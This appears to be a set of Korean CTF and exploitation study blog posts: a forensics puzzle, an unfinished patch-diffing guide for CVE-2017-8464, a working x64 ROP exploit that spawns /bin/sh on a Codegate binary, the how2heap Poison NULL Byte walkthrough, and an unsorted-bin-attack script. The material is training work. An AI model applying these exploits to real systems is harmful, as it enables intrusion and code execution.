진술서전송앱

진술서전송앱_v0.1.apk
5.87MB

최근 다녀온 교육을 다녀온 후 윈도우 아티팩트와 디지털 포렌식에 대해 관심이 생기던 중

포렌식 문제풀이 사이트인 http://ctf-d.com/에 대해 알게되었다.

 

오랜만에 문제를 풀다보니 옛날 생각도 나고 하기에...

기록을 남기기 위해 겸사겸사 간략하게 블로그에 포스팅하려고 한다.

 

1. 문제

이 사이트에 있는 문제들은 번역기로 돌린 것 같은 뉘앙스가 물씬난다.

어쨌든 jpg파일이 하나 있고, 이를 통해 플래그를 찾는 것으로 보인다.

 

2. 풀이과정

hidden.jpg 파일을 열어 확인하면 이렇게 허여멀건한 화면만 보이므로 아무것도 확인할 수 없다.

 

 

jpg파일의 헤더 값등을 확인하기 위해 HxD를 이용해 헥사값을 열심히 찾아보았지만 별 특이사항이 없었다.

 

 

jpg파일의 EXIF 메타데이터에 힌트가 있을까 싶어 https://29a.ch/photo-forensics/#forensic-magnifier

업로드 해보았지만 특별한 것은 없었는데, 사이트에서 이것 저것 옵션을 눌러보던 중

Noise Analysis기능을 이용하자 사진에 플래그가 적혀있는 것을 알 수 있었다.

 

사진의 밝기조절을 하면 플래그를 읽을 수 있겠다는 느낌이 와서 구글링을 하였고, 포토스케이프 라는 툴을 알게 되었고,

포토스케이프를 이용해 밝기와 색상을 적절하게(?) 조절하자 플래그를 확인 할 수 있었다.

 

3. 마치며

1~2년간 글이라곤 수사보고서만 작성하다보니 블로그에 포스팅하는 게 너무 어색해져 버렸다ㅠㅠ

문체도 의식하지 않고 작성하려 하였지만, 다시 읽어보니 굉장히 수사보고서스럽다..

 

어쨌든, 포렌식 공부도 할 겸 d-ctf 사이트 문제풀이에 대한 포스팅을 다시 한번 간간히 진행해보려고한다.

제로데이 취약점을 찾는 것은 말할 필요도 없이 중요하고 멋진 일이다.

하지만 때때로 제로데이 취약점을 찾는 것만큼 필요하고 의미 있는 일이 패치가 발표된 원데이 취약점의 POC를 구현하는 일이다.

이번 글에서는 이런 원데이 취약점 중 공개된 정보가 적을 때 패치 된 취약점이 무엇이었는지 찾고  POC를 구현하는 방법에 대해 적어보려고한다. 


따라서 이 글은 CVE-2017-8464 LNK취약점을 다루기는 하지만 취약점에 대한 내용보다는 정보가 없는 원데이 취약점을 어떻게 구현해 나가는 지에 중점을 두고있다.


1. 공개된 취약점 정보 확인하기

링크 : https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464


위 그림은 마이크로소프트 사의 MSRC페이지에서 확인한 CVE-2017-8464정보이다.  CVE-2017-8464 취약점은 윈도우즈의 링크파일(.LNK)를 이용해 RCE가 가능한 취약점이라고 설명되어있다. 공격자가 피해자에게 악의적으로 조작된 링크파일 바이너리를 전달하면 피해자가 해당 파일이 있는 폴더를 열기만해도 공격코드가 실행되는 취약점이다.

(현재 기점으로 2년이나 된 취약점이기 때문에 MSRC외에도 exploit-db라던가, github에 공개된 POC들이 많지만 글의 목적에 따라 다른 정보가 없다고 가정한다.)


취약점 설명 아래에는 해당 취약점을 패치하기위한 파일들을 볼 수 있다.


패치파일에는 해당 취약점을 보완하기위한 파일도 있지만 기타 다른 취약점 패치라던가, 기능패치라던가 많은 것들이 같이 포함되어있기 때문에 어떤 파일을 패치 했는지 찾는 것이 중요하다.


취약점 관련 파일을 찾는 범위를 좁히기위해 Security Update 패치파일을 다운받는다. 분석환경 OS에 맞는 파일을 찾으면되고, 참고로 64bit보다는 32bit환경을 택하는 것이 더 수월하다. 



여기서는 Windows 7 for 32-bit Systems Service Pack 1 의 Security Only 링크를 클릭했고, 목록 중 두번째 파일을 다운받았다.

다운받은 파일은 .msu확장자를 갖는 패치 파일인데, 압축해제가 가능하다. 압축해제를 하면 .cab파일을 얻을 수 있다.




cab파일 역시 많은 패치파일을 포함하고있는 일종의 압축파일인데, 이 파일은 윈도우 명령어 expand로 압축해제할 수 있다.
ex) expand [cab file] -f:[추출 파일명] [경로]

- expand Windows6.1-KB4022722-x86.cab -f:* .



cab를 풀고나면 보다시피 엄청나게 많은 파일이 있다. 이 중에 취약점과 관련된 파일을 선별해내야한다ㅠㅠ

선별하기전에 해야하는 선행할 작업이 하나 더 있는데, 해당 패치 적용 직전의 버전으로 윈도우즈의 버전을 올려야한다. 이 과정을 통해 패치 비교의 범위를 줄인다.


취약점이 패치 된 파일을 찾기 위해 현재 explorer.exe에 로드된 dll(LNK파일은 explorer.exe에서 핸들링 되므로)과 패치 파일목록에 있는 dll을 매치시키는 파이썬 스크립트를 작성했고 실행한 결과 범위를 많이 줄일 수 있었다. 아래는 스크립트 중 일부이다.



위 그림은 스크립트 실행 결과중 일부인데, LNK파일을 핸들링하는 dll인 shell32.dll이 있었다. 그리고 2010년, 2015년도에 발생한 링크파일 취약점도 shell32.dll에서 발생했었기 때문에 2017취약점도 shell32.dll에서 발생했을 것이라 예상해 볼 수있다.


'Study > Windows' 카테고리의 다른 글

Windows Hooking(Frida)  (5) 2018.01.30

1. 시작하기전에...


한동안 바빠서 블로그 업데이트를 통..하지못했었는데, 새해도 되었으니 다시 시작해보려고합니다.

원래는 how2heap을 계속 올려야하는데, 지난 코드게이트 문제들을 리뷰해볼 기회가 생겨서 작년 문제 중 하나를 선정하였습니다.



2. 정적 분석


file 명령어 실행 결과 바이너리가 x64, dynamaically linked임을 알 수 있습니다.



checksec를 통해 Mitigation을 확인해보니 카나리도 없고, pie도 안걸려있습니다. Patial RELRO라 GOT도 덮어쓸 수 있습니다.


바이너리를 실행하면 술자리 게임 베스킨라빈스 31이 시작됩니다. 각 턴마다 1~3의 숫자를 입력받고, 남은 숫자가 표시됩니다. 



IDA로 디컴파일해보겠습니다.


main()


- 실행화면에서 봤던 문구들("### ~~ ###")들을 출력하고 남은 숫자(remain_val)가 0보다 클때 반복문을 실행합니다.

- 반복문 안에서 your_turn()함수가 제대로 끝났는 지 검사하는 is_your_turn_done의 값으로 분기를 실행합니다.

- my_turn()은 프로그램이 턴을 수행하는 기능이 구현되어있습니다.

- your_turn()은 유저의 입력으로 턴을 수행하는 기능이 구현되어있습니다.

- 유저가 이겼을 경우를 의미하는 것같은 분기문에서 힌트가 ROP라고 알려주고있습니다.



your_turn()


- 남은 수를 의미하는 remain_val의 포인터를 함수의 인자로 입력받습니다.

- 유저로부터 입력받은 숫자를 저장하는 변수가 150byte로 되어있습니다.

- 하지만 입력은 400byte까지 받을 수 있습니다. -> 스택 버퍼오버플로우가 발생하게됩니다.



helper()

디컴파일 후 함수목록을 잘 보면 helper()함수가 있습니다. hex ray로는 볼수 없고, 어셈코드만 볼 수 있습니다.

어셈코드를 보면 스택프레임 코드를 제외하면 pop rdi, pop rsi, pop rdx 코드 밖에 없습니다.


pop rdi, pop rsi, pop rdx, retn 가젯은 x64 rop에서 pppr로 사용하는 꼭 필요한 가젯입니다.

x64 함수 호출 규약은 x86 함수 호출 규약과 다르기때문에 rop 코드도 다른 부분이 있습니다.


x64 함수 호출 규약에 관한 자세한 내용은 아래 링크를 참조하세요.

링크 : https://kkamagui.tistory.com/811


2. 동적 분석

바이너리 실행 중 your_turn() 함수에서 "a" * 8을 입력한 다음 스택을 보겠습니다.


입력 값을 저장하는 버퍼의 주소는 0x7ffffffdb90부터 시작하고, 리턴 주소가 저장 된 주소는 0x7ffffffdc48에 저장되어있습니다.


따라서 버퍼 주소 - 리턴 주소가 저장된 주소는 0xb8(184)이고, 카나리가 존재하지 않기때문에 0xb8개의 dummy이 후 rop코드를 시작하면 됩니다.

 

3. exploit

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98


from pwn import *

p = process('./baskinrobin31')

e = ELF('./baskinrobin31')

libc = ELF("./libc.so.6")

context.log_level = 'debug'

def launch_gdb(p):

   context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

   gdb.attach(proc.pidof(p)[0])

#find plt & got address

log.info("found address of read plt : %s" % hex(e.plt["read"]))

read_plt = e.plt["read"]

log.info("found address of write plt : %s" % hex(e.plt["write"]))

write_plt = e.plt["write"]

log.info("found address of puts plt : %s" % hex(e.plt["puts"]))

puts_plt = e.plt["puts"]

log.info("found address of puts got : %s" % hex(e.got["puts"]))

puts_got = e.got["puts"]

#real address of read func - real address of system func

puts_system_offset = libc.symbols['puts'] - libc.symbols['system']

'''

21 .dynamic      000001d0 0000000000601e28  0000000000601e28 00001e28 2**3

24 .data         00000010 0000000000602078  0000000000602078 00002078 2**3

25 .bss          00000020 0000000000602090  0000000000602090 00002088 2**4

'''

#binsh addr

binsh_addr = 0x602090 + 0x10

binsh = "/bin/sh"

log.info("puts to system offset : %s" % hex(puts_system_offset))

#0x0040087a: pop rdi ; pop rsi ; pop rdx ; ret  ; (1 found)

pppr = 0x0040087a

call_your_turn = 0x400AE5

p.recvuntil("How many numbers do you want to take ? (1-3)\n")

#leak puts got

payload  = "a"*184

payload += p64(pppr)

payload += p64(1)

payload += p64(puts_got)

payload += p64(len(str(puts_got)))

payload += p64(write_plt)

#call your turn again

payload += p64(call_your_turn)  

#

payload2 = "a"*184

payload2 += p64(pppr)

payload2 += p64(0)

payload2 += p64(puts_got)

payload2 += p64(0x8)

payload2 += p64(read_plt)

payload2 += p64(pppr)

payload2 += p64(0)

payload2 += p64(binsh_addr)

payload2 += p64(len(str(binsh)))

payload2 += p64(read_plt)

payload2 += p64(pppr)

payload2 += p64(binsh_addr)

payload2 += p64(1)

payload2 += p64(1)

payload2 += p64(puts_plt)

p.sendline(payload)

d = p.recvuntil("Don't break the rules...:(")

p.recv(2)

puts = p.recv(7) + "\x00"

puts = u64(puts)

p.sendline(payload2)

log.info("puts = 0x%x" % puts)

system_addr = puts - puts_system_offset

log.info("system = 0x%x" % system_addr)

p.recvuntil("How many numbers do you want to take ? (1-3)\n")

p.send(p64(system_addr))

p.sendline(binsh)

p.interactive()

Colored by Color Scripter

cs


exploit 코드의 내용 개요는 다음과 같습니다.


사전과정

1. 호출하고 싶은 함수들의 plt 찾기(read, write, puts)

2. got를 덮을 함수의 got 찾기(puts)

3. 필요한 가젯과 오프셋 찾기(pppr, binsh_addr, puts_system_offset, call_your_turn)


ROP payload

1. read()함수를 호출하여 puts got에 있는 값을 알아내기

2. your_turn()를 호출해서 puts의 got에 system함수 got주소 쓰기

3. "/bin/sh"문자열 쓰기

4. puts호출해서 system함수 실행시키기


x64 ROP

앞서 말씀드린바와 같이 x64의 함수 호출 규약은 x86과 달라서 rop코드의 구성이 조금 다릅니다.

x64 리눅스에서 함수에 파라미터를 전달할 때, RDI, RSI, RDX, RCX, R8, R9의 순으로 전달하며 이 이상은 x86과 동일하게

스택을 이용해서 전달합니다.


따라서 x64에서 파라미터에 값을 전달하기 위해 pppr을 먼저 호출해서 함수 호출 전 파라미터를 세팅해야합니다.


코드 설명

13 ~ 24라인은 pwntools의 기능을 이용해 바이너리에서 사용하는 libc 함수들의 plt와 got를 구합니다.


27라인에서는 pwntools를 이용해 libc에 있는 puts와 system의 symbol offset을 계산합니다. 여기서 계산한 offset을 이용해

나중에 puts의 got에 써져있는 주소로 system의 주소를 계산할 수 있습니다.


50 ~ 56라인은 puts의 got에 써있는 주소를 릭하기 위한 payload입니다. 

59라인에서 다시 your_turn()함수를 호출하여 입력을 받을 수 있도록합니다.


62 ~ 67라인에서는 계산한 system의 주소를 puts의 got에 덮어쓰도록 합니다.


69 ~ 73라인에서는 bss영역 중 선정한 공간에 "/bin/sh"문자열을 저장합니다.


75 ~ 79라인에서 system함수를 호출하여 exploit을 완성합니다.


83 ~ 86라인은 50 ~ 56라인에서 릭한 puts의 got에 써있는 주소를 저장합니다.

90 ~ 92라인은 앞서 계산한 offset을 이용해 system함수의 실제 주소를 계산합니다.


95라인은  62 ~ 67라인에서 puts의 got에 덮어쓸 system의 주소를 전송합니다.

96라인은 69 ~ 73라인에서 "/bin/sh"문자열을 저장할 수 있도록 문자열을 전송합니다.


4. exploit 결과


1. 시작하기전에...

오늘부터는 how2heap 시리즈에 소개되어 있는 취약점들을 살펴보려고합니다. how2heap은 heap관련 취약점들의 원리를 소스코드와 

주석으로 설명해 놓은 프로젝트입니다.


[참조] https://github.com/shellphish/how2heap


전에 포스팅 했던 HITCON Training의 lab12와 lab14에서 다룬적이 있는 fastbin attack과 unsorted bin attack을 제외한 나머지를 다룰 예정이고,

이번 포스팅과 앞으로 소개 될 취약점들은 아래의 사이트를 참조하려고 합니다.


[참조] https://www.lazenca.net/display/TEC/Heap+Exploitation

[참조] https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/


2. Poison NULL Byte

Poison NULL Byte는 Off-by-one error에 기본을 둔 heap 관련 취약점입니다.

이 취약점을 간단히 설명하면 이미 할당된 heap을 새로 할당받는 heap공간에 포함시켜 할당받아 새로운 값으로 덮을 수 있는 취약점 입니다.


2.1 조건

 - 공격자에 의해 다음과 같은 Heap 영역을 할당, 해제 할 수 있어야 합니다.

- 0x200 이상의 heap 영역 : 공격 대상 heap영역

- Fast bin 이상의 Heap 영역(Heap size : 0x80이상) : 공격 대상 영역에 할당 Heap 영역


 - 공격자에 의해 Free chunk의 size영역에 1byte를 NULL로 변경 할 수 있어야 합니다.

 - 공격자에 의해 Free chunk의 size보다 작은 heap영역을 2개 할당 할 수 있어야합니다.

- Fast chunk는 사용할 수 없습니다.


[참조] https://www.lazenca.net/display/TEC/Poison+null+byte


2.2 Off-by-one

Poison NULL Byte에 사용되는 Off-by-one에 대해 간단히 알고 넘어가도록 하겠습니다.

Off-by-one error는 버퍼 크기의 경계 검사를 잘 못해서 한 바이트를 더 쓸 수 있게 되는 취약점입니다.


[참조]https://en.wikipedia.org/wiki/Off-by-one_error


예시로 다음의 코드를 봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
 
int main(int argc,char *argv[])
{
    char buf[1024];
    
    if(strlen(argv[1]) > 1024) {
        printf("BOF is occured\n");
        return -1;
    }
    
    strcpy(buf, argv[1]);
    printf("buf = %s\n", buf);    
 
    return 0;
}



위 코드에서는 1024바이트 크기를 갖는 buf변수가 존재하고 있습니다. 프로그램에 인자를 넣고 실행하면 인자를 이 buf에 복사하고 출력해줍니다.

단, 인자의 길이가 1024보다 크다면 BOF is occured를 출력하지요. 


언뜻 보기에는 BOF가 발생하지 않을 것으로 보이지만 여기서 Off-by-one 이 발생합니다.

strlen()함수는 문자열 길이를 리턴해 줄 때 NULL바이트를 제외하여 리턴해줍니다. 따라서, 정확히 인자의 크기가 1024만큼의 문자열이 전달 되는 경우

BOF검사 분기를 넘어서 복사과정을 거치는데, 실제 buf에 복사되는 값의 길이는 1024 + NULL이 되어 1025바이트를 쓸 수 있게 됩니다.


이처럼 잘못된 크기 검사로 인해 한 바이트를 더 쓸 수 있게 되는 취약점이 Off-by-one 입니다.

해당 취약점과 관련해 자세하게 설명된 블로그가 있어 아래 참조 링크 드립니다.


[참조] http://s0ngsari.tistory.com/entry/Offbyone



2.3 how2heap - Poison NULL Byte

본격적으로 how2heap에 소개되어 있는 Poison NULL Byte의 코드를 가지고 살펴보도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    uint8_t* a;
    uint8_t* b;
    uint8_t* c;
    uint8_t* b1; 
    uint8_t* b2; 
    uint8_t* d;
 
    fprintf(stderr, "We allocate 0x100 bytes for 'a'.\n");
    a = (uint8_t*malloc(0x100);
    fprintf(stderr, "a: %p\n", a); 
    int real_a_size = malloc_usable_size(a);
    fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' "
        "(it may be more than 0x100 because of rounding): %#x\n", real_a_size);
 
    /* chunk size attribute cannot have a least significant byte with a value of 0x00.
     * the least significant byte of this will be 0x10, because the size of the chunk includes
     * the amount requested plus some amount required for the metadata. */
    b = (uint8_t*malloc(0x200);
 
    fprintf(stderr, "b: %p\n", b); 
 
    c = (uint8_t*malloc(0x100);
    fprintf(stderr, "c: %p\n", c); 
 
    uint64_t* b_size_ptr = (uint64_t*)(b - 8); 
 



소스코드가 길어 부분 부분 잘라서 설명하겠습니다.

최초에 변수 a, b, c, b1, b2, d가 선언 되어 있는데 이 변수들은 Poison NULL Byte를 실행하기 위해 필요한 heap 변수들입니다.

각 변수들의 용도는 아래와 같습니다.


변수명 

용도 

Off-by-one을 사용할 수 있게 해줌 

Poison NULL Byte가 이루어지는 공간 

Poison NULL Byte로 인해 병합되는 heap 

Poison NULL Byte의 결과로 할당 받는 heap 

b1 

b해제 후 b공간에서 쪼개져 할당받는 heap 

b2 

b해제 후 b공간에서 쪼개져 할당받는 heap

Poison NULL Byte의 Victim


뒤에 진행되는 사항들을 보면서 헷갈릴 수 있는데 표에 소개된 내용을 생각하시면서 보면 조금 더 수월하게 보실 수 있을 것 같습니다.

위의 코드 내용을 정리해보자면 a에 0x100, b에 0x200, c에 0x100만큼 메모리를 할당 했습니다.


그리고 추가로 살펴봐야할 것은 11, 12라인인데요

malloc_usable_size()함수를 통해 메모리를 할당 받은 a에 실제로 사용할 수 있는 크기를 알아보고 있습니다. 라운딩때문에 0x100보다 클 것이라고 이야기 하면서요.



실제로 확인해 보니 a의 usable size는 0x108인 것을 알 수 있습니다. 


※ 위의 실행 결과로 보여드린 주소와는 다르지만 짧게 예시를 든 주소이니, 신경쓰시지 않아도 됩니다.


위 그림처럼 a는 코드에서 의도한 size보다 8바이트 더 큰 값을 사용할 수 있는 상태가 될 것입니다. 그리고 이 8바이트는 b의 prev_size영역이 됩니다.

여기서 한 바이트를 더 쓴다면 b의 chunk size에 영향을 줄 수 있는 상태가 되겠지요. 일단 여기까지만 생각하시고 다음으로 넘어가 보도록 하겠습니다.


  

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    uint64_t* b_size_ptr = (uint64_t*)(b - 8); 
 
 
    fprintf(stderr, "In newer versions of glibc we will need to have our updated size inside b itself to pass "
        "the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
    // we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
    // which is the value of b.size after its first byte has been overwritten with a NULL byte
    *(size_t*)(b+0x1f0= 0x200;
 
    // this technique works by overwriting the size metadata of a free chunk
    free(b);
    
    fprintf(stderr, "b.size: %#lx\n"*b_size_ptr);
    fprintf(stderr, "b.size is: (0x200 + 0x10) | prev_in_use\n");
    fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
    a[real_a_size] = 0// <--- THIS IS THE "EXPLOITED BUG"
    fprintf(stderr, "b.size: %#lx\n"*b_size_ptr);
 
    uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
    fprintf(stderr, "c.prev_size is %#lx\n",*c_prev_size_ptr);



여기서부터가 중요한데요, Poison NULL Byte를 위해 b의 chunk size를 0x200으로 만들어 주어야 합니다. 그런데 문제가 glibc에서

chunksize(P)가 prev_size(next_chunk(P))가 같은 지를 비교한다고 하네요.


b의 next_chunk의 주소는 어떻게 계산되는 지 살펴보겠습니다.


Poison NULL Byte공격을 고려하지 않았을 때

0x7120(address of b data area) - 0x10(header size) + 0x210(size of b) = 0x7320 (address of c)


c의 주소가 정확히 계산되어 나옵니다. 그리곤 c의 prev_size와 b의 chunk size필드를 비교해서 일치하는 지를 비교한다는 이야기입니다.


Poison NULL Byte를 위해 b의 chunk size를 0x200으로 만들어 주어야 한다면 거기에 대응하는 주소공간에 가상으로 prev_size인 것처럼 0x200

써주어야합니다.


0x7120(address of b data area) - 0x10(header size) + 0x200(size of fake b) = 0x7310 (address of fake chunk)

이런 이유로 b의 주소에 0x1f0을 더한 값인 0x7310에 0x200을 써주었습니다.


그 다음에 b를 해제했습니다. 그리고 Off-by-one 취약점을 이용해 a[real_size] => a[0x108]에 한 바이트를 0(NULL)로 써주었습니다.

그럼 b의 chunk size는 0x211 에서 한 바이트가 0으로 바뀌었으니, 0x200으로 바뀌게 됩니다.



c의 prev_size는 건드리지 않았으니, 0x211에서 INUSE flag만 0으로 바뀌어 0x210이 된 모습입니다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    fprintf(stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
        *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
    b1 = malloc(0x100);
 
    fprintf(stderr, "b1: %p\n",b1);
    fprintf(stderr, "Now we malloc 'b1'. It will be placed where 'b' was. "
        "At this point c.prev_size should have been updated, but it was not: %lx\n",*c_prev_size_ptr);
    fprintf(stderr, "Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
        "before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
    fprintf(stderr, "We malloc 'b2', our 'victim' chunk.\n");
    // Typically b2 (the victim) will be a structure with valuable pointers that we want to control
 
    b2 = malloc(0x80);
    fprintf(stderr, "b2: %p\n",b2);
 
    memset(b2,'B',0x80);
    fprintf(stderr, "Current b2 content:\n%s\n",b2);



위에서 이야기한 chunksize(P)와 prev_size(next_chunk(P))가 같은 지를 검사하는 부분에서 에러 없이 통과를 하였습니다.

이후 새로 b1을 할당 0x100만큼 할당 받았습니다.


b1은 b의 시작부분에서부터 할당을 받았습니다. b1을 할당 받은 후 c의 prev_size를 찍어보면 b1에 해당하는 값으로 업데이트가 이루어져야 하지만 이루어지지 않습니다. 그 대신에 우리가 전에 만들었던 fake chunk의 prev_size가 업데이트 된 것을 알 수 있습니다.



이 상태에서 victim chunk인 b2를 0x80만큼 할당 합니다. 그리고 내용을 b로 채워주었습니다.



1
2
3
4
5
6
7
8
9
10
11
12
13
fprintf(stderr, "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
 
free(b1);
free(c);
 
fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.\n");
= malloc(0x300);
fprintf(stderr, "d: %p\n",d);
 
fprintf(stderr, "Now 'd' and 'b2' overlap.\n");
memset(d,'D',0x300);
 
fprintf(stderr, "New b2 content:\n%s\n",b2);



이제 사전 준비는 다 끝났습니다. b1, c의 차례로 free를 하면 b1과 c의 병합이 일어나게 됩니다. 이때, b1과 c1의 사이에 있는 b2의 존재는 잊어버리고 

병합이루어 집니다.


그 이유는 c의 해제가 이루어질 당시 c의 prev_size는 0x210이니, 이전의 메모리가 사용되고 있지 않은 중으로 OS가 판단합니다.(INUSE flag == 0)

때문에 이전의 chunk (prev chunk)와 병합이루어 지게 되죠.

 

c의 prev chunk의 주소를 알아내는 방법은 아래와 같습니다.


0x7320(address of c) - 0x210(prev_size) = 0x7110 


0x7110 부터 c에 해당하는 chunk까지 모두 병합이 이루어지게 되는 것입니다. (이 사이에 b2가 존재하죠)

이렇게 병합된 chunk는 0x300의 메모리 할당 요청에 반환됩니다. 이로써 b2의 내용을 수정할 수 있게 된 것입니다.




소개 된 예제에서는 단순히 변수의 값을 바꾸는 것만으로 소개가 되었는데, b2의 공간이 구조체이고 그 안에 함수포인터가 저장되어있다는 가정이라면

더 멋진 결과도 나올 수 있을 것이라고 생각합니다.


1. 시작하기전에...

벌써 HITCONT Training의 짝수 마지막 번호 lab14가 되었습니다. lab14는 지난 번 포스팅에서 다루었던 lab12였던 fastbin attack에 이어 

unsorted bin attack을 이용한 문제입니다.


unsorted bin attack에서는 free Chunk(해제된 메모리 영역)에서 bk를 덮어 써 메모리 할당 공간을 컨트롤 한다는 것이 핵심입니다.


1-1. Free Chunk

한번 봤던 구조지만 한번 더 확인해 보도록 하겠습니다. 


Free Chunk의 상위 두 필드는 prev_size와 헤더의 크기를 포함한 자신의 크기를 나타냅니다.


fastbin 같은 경우에는 single linked list이기때문에, forward pointer to next chunk in list(fd)영역에만 값이 쓰여지고 back pointer to next chunk in list(bk)는 필드는 존재하지만 값이 세팅 되지 않았습니다.


하지만 오늘 다룰 unsorted bin에서는 double linked list로 fd와 bk 필드가 모두 사용됩니다.


1
2
3
4
5
6
7
char *= malloc(0x80);
char *= malloc(0x80);
char *= malloc(0x80);
 
free(a);
free(b);
free(c);



위와 같은 코드가 있을 때, unsorted bin은 first fit에 의해 아래와 같은 형태가 됩니다.


  1. head -> c <-> b<-> a -> tail

이 상태에서 각 free chunk에 fd / bk는 이렇게 기록됩니다.


a 의 bk : b의 주소


b의 fd : a의 주소

b의 bk : c의 주소


c의 fd : b의 주소


생각같아서는 a의 fd에 tail의 주소, c의 fd에는 head의 주소 이렇게 저장될 것 같았는데 직접 확인해 보니 알수 없는 값이 메우고 있었습니다. 

무슨 값인 지는 잘 모르겠습니다만, 확실한 건 Tail쪽이 fd이고 Head쪽이 bk이며 Head방향에 있는 chunk부터 검사하여 적합한 사이즈라면 메모리가 할당 됩니다.


그러므로 이때 bk를 조작할 수 있다면, 다음에 할당되는 메모리의 주소를 조작할 수 있다는 점을 이용합니다.



2. C소스

magicheap.c 의 코드 중 중요한 부분만 몇 군데 보겠습니다.


2-1. create_heap()

1. 프로그램 내에서 할당된 heap을 관리하는 전역변수 heaparray가 있습니다. 그 배열에 빈곳을 찾습니다.

2. 사이즈를 입력받아 해당 크기만큼 메모리를 할당합니다.

3. heap의 내용을 입력받아 저장합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void create_heap(){
    int i ;
    char buf[8];
    size_t size = 0;
    for(i = 0 ; i < 10 ; i++){
        if(!heaparray[i]){
            printf("Size of Heap : ");
            read(0,buf,8);
            size = atoi(buf);
            heaparray[i] = (char *)malloc(size);
            if(!heaparray[i]){
                puts("Allocate Error");
                exit(2);
            }
            printf("Content of heap:");
            read_input(heaparray[i],size);
            puts("SuccessFul");
            break ;
        }
    }   
}



2-2. edit_heap()

1. index를 입력받고 index의 유효성 검사를 합니다.

2. index가 유효한 경우 해당 heap이 heaparray에 존재하는지 확인합니다.

3. 존재하는 경우 해당 heap의 사이즈를 입력받고 사이즈만큼 메모리를 수정합니다.

4. heap의 내용을 수정합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void edit_heap(){
    int idx ;
    char buf[4];
    size_t size ;
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= 10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        printf("Size of Heap : ");
        read(0,buf,8);
        size = atoi(buf);
        printf("Content of heap : ");
        read_input(heaparray[idx] ,size);
        puts("Done !");
    }else{
        puts("No such heap !");
    }
}



2-3. delete_heap()

1. index를 입력받아 index의 유효성 검사를 합니다.

2. index가 유효한 경우 해당 heap이 리스트에 존재하는지 확인 합니다.

3. 존재하는 경우 해당 heap을 메모리 해제 합니다.

4. heaparray에 저장되어 있는 포인터를 NULL로 만들어 줍니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void delete_heap(){
    int idx ;
    char buf[4];
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= 10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        free(heaparray[idx]);
        heaparray[idx] = NULL ;
        puts("Done !");
    }else{
        puts("No such heap !");
    }
 
}



delete_heap에서 메모리 해제 후 배열에 저장되어있는 heap의 포인터를 NULL로 만들어줌으로써, fastbin attack은 가능하지 않습니다. 

3. exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
 
= process('./magicheap')
 
def create_heap(length,contents):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(": ")
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(contents)
 
def edit_heap(length, idx, contents):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(": ")
    r.sendline(str(length))
    r.recvuntil(": ")
    r.sendline(contents)
 
def delete_heap(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))
    
magic = 0x00000000006020c0
fake_chunk = magic - 0x10
 
create_heap(0x80,"tulip")
create_heap(0x20,"sunflower")
create_heap(0x80,"rose")
create_heap(0x20,"tulip")
delete_heap(2)
delete_heap(0)
 
#alloc size = 0x20(idx:1 chunk size) + 0x10(idx:2 header) + 0x10(idx:2 fd, bk)
edit_heap(0x20+0x10+0x101"a"*0x20 + p64(0)+p64(144)+ p64(0)+ p64(fake_chunk))
create_heap(0x80,"5000")
r.sendline("4869")
log.info(r.recv(0x500))
log.info(r.recv(0x100))



exploit코드의 목적은 할당 메모리의 공간을 전역변수 magic으로 만들어 magic의 값을 5000으로 만드는 것입니다.
위에 설명한 코드에 main의 내용은 빠져있지만, 이 전역변수 magic의 값이 4869보다 큰 값이면 문제가 풀리게 되어있습니다.

exploit 코드의 과정은 아래와 같습니다.
1. 0x80, 0x20, 0x80, 0x20 의 크기로 메모리를 할당합니다.
 =>중간에 0x20사이즈를 섞은 것은 하위에 존재하는 free chunk의 bk를 덮기 위해 할당한 메모리입니다.
 => 마지막에 존재하는 0x20사이즈의 chunk를 할당한 것은 이유를 모르겠습니다. 다만, 없으면 정상적으로 exploit이 되지 않네요..
      마지막에 chunk를 할당한 것과 할당하지 않은 것의 메모리를 비교한 화면입니다.


